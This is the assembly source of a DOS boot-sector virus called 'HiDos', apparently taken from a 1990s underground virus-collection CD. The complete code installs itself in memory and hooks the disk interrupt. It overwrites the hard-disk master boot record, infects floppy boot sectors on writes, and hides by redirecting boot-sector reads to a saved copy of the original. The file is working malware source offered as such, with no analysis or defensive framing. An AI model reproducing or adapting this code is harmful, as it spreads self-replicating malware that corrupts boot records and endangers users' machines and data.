Underground/Underground CD1.iso/virii/zrodla/h/hidos.asm

Assembly Source File | 1998-01-14 | 5.8 KB | 213 lines

        NAME boot
        PAGE 55,132
        TITLE FILE UTIL




code segment

        ASSUME CS:CODE,DS:CODE,ES:CODE

        org 100h

main:           jmp over
                db '['
id              db 'HiDos]',0
by              db 'By Apache',0
over:           xor ax,ax
                mov ds,ax
                cli
                mov ss,ax
                mov sp,7c00h
                sti
                mov ax,ds:[004eh]
                mov word ptr ds:[int13+7b02h],ax
                mov ax,ds:[004ch]
                mov word ptr ds:[int13+7b00h],ax
                mov ax,ds:[0413h]
                dec ax
                dec ax
                mov ds:[0413h],ax
                mov cl,06h
                shl ax,cl
                mov es,ax
                mov word ptr ds:[bigj+7b02h],es
                mov ax,offset jumpt
                mov word ptr ds:[bigj+7b00h],ax
                mov cx,0400h
                push cs
                pop ds
                mov si,7c00h
                mov di,0100h
                cld
                repz
                movsb
                push cs
                pop ds
                jmp cs:[bigj+7b00h]

jumpt:          push cs
                pop ds
                mov si,offset drive
                cmp byte ptr ds:[si],80h
                jz hdone
                mov bx,0300h
                mov cx,0001h
                mov dx,0080h
                push cs
                pop es
                call hdread
                cmp ds:[0304h],'iH'
                jz hdone
                mov bx,0300h
                mov cx,0007h
                mov dx,0080h
                call hdwrit
                mov si,04beh
                mov di,02beh
                mov cx,0042h
                cld
                repz
                movsb
                mov byte ptr ds:[drive],80h
                mov bx,0100h
                mov cx,0001h
                mov dx,0080h
                call hdwrit
                mov byte ptr ds:[drive],00h

hdone:          xor ax,ax
                mov word ptr cs:[boot+2],ax
                mov es,ax
                push cs
                pop ds
                mov ax,0201h
                mov bx,7c00h
                mov word ptr ds:[boot],bx
                mov si,offset drive
                cmp byte ptr ds:[si],80h
                jz hload
                mov cx,0003h
                mov dx,0100h
                jmp fload
hload:          mov cx,0007h
                mov dx,0080h
fload:          mov di,'rv'
                int 13h
                mov si,offset drive
                mov byte ptr cs:[si],00h
                xor ax,ax
                mov es,ax
                mov ds,ax
                mov ax,offset nint13
                mov ds:[004ch],ax
                mov ds:[004eh],cs
                push cs
                pop ds
                jmp cs:[boot]

hdwrit:         mov ax,0301h
                mov di,'rv'
                jmp xx4
hdread:         mov ax,0201h
                mov di,'rv'
xx4:            int 13h
                ret

nint13:         cmp di,'rv'
                jz iv13
                cmp ah,02h
                jnz wcheck
                cmp cl,01h
                jnz wcheck
                cmp dh,00h
                jnz wcheck
                cmp dl,80h
                jz check1
                cmp dl,00h
                jnz wcheck
check1:         push ax
                push bx
                push cx
                push dx
                push ds
                push es
                push di
                mov bx,0300h
                push cs
                pop es
                call hdread
                mov si,offset [id+0200h]
                cmp es:[si],'iH'
                jz redirect
                jmp iflopd
redirect:       cmp dl,80h
                jnz rdirfl
                pop di
                pop es
                pop ds
                pop dx
                pop cx
                pop bx
                pop ax
                mov cx,0007h
                jmp a13

rdirfl:         pop di
                pop es
                pop ds
                pop dx
                pop cx
                pop bx
                pop ax
                mov cx,0003h
                mov dx,0100h
a13:            mov ax,0201h
iv13:           jmp v13


wcheck:         cmp ah,03h
                jnz v13
                cmp dl,00h
                jnz v13
                push ax
                push bx
                push cx
                push dx
                push ds
                push es
                push di
                push cs
                pop es
                mov bx,0300h
                mov cx,0001h
                xor dx,dx
                call hdread
                mov si,offset [id+0200h]
                cmp es:[si],'iH'
                jz iflopd
                mov cx,0003h
                mov dx,0100h
                mov bx,0300h
                call hdwrit
                mov bx,0100h
                xor dx,dx
                mov cx,0001h
                call hdwrit
iflopd:         pop di
                pop es
                pop ds
                pop dx
                pop cx
                pop bx
                pop ax
v13:            db 0eah
int13           dd 0h
drive           db 0h
bigj            dd 0h
boot            dd 0h

code ends

end main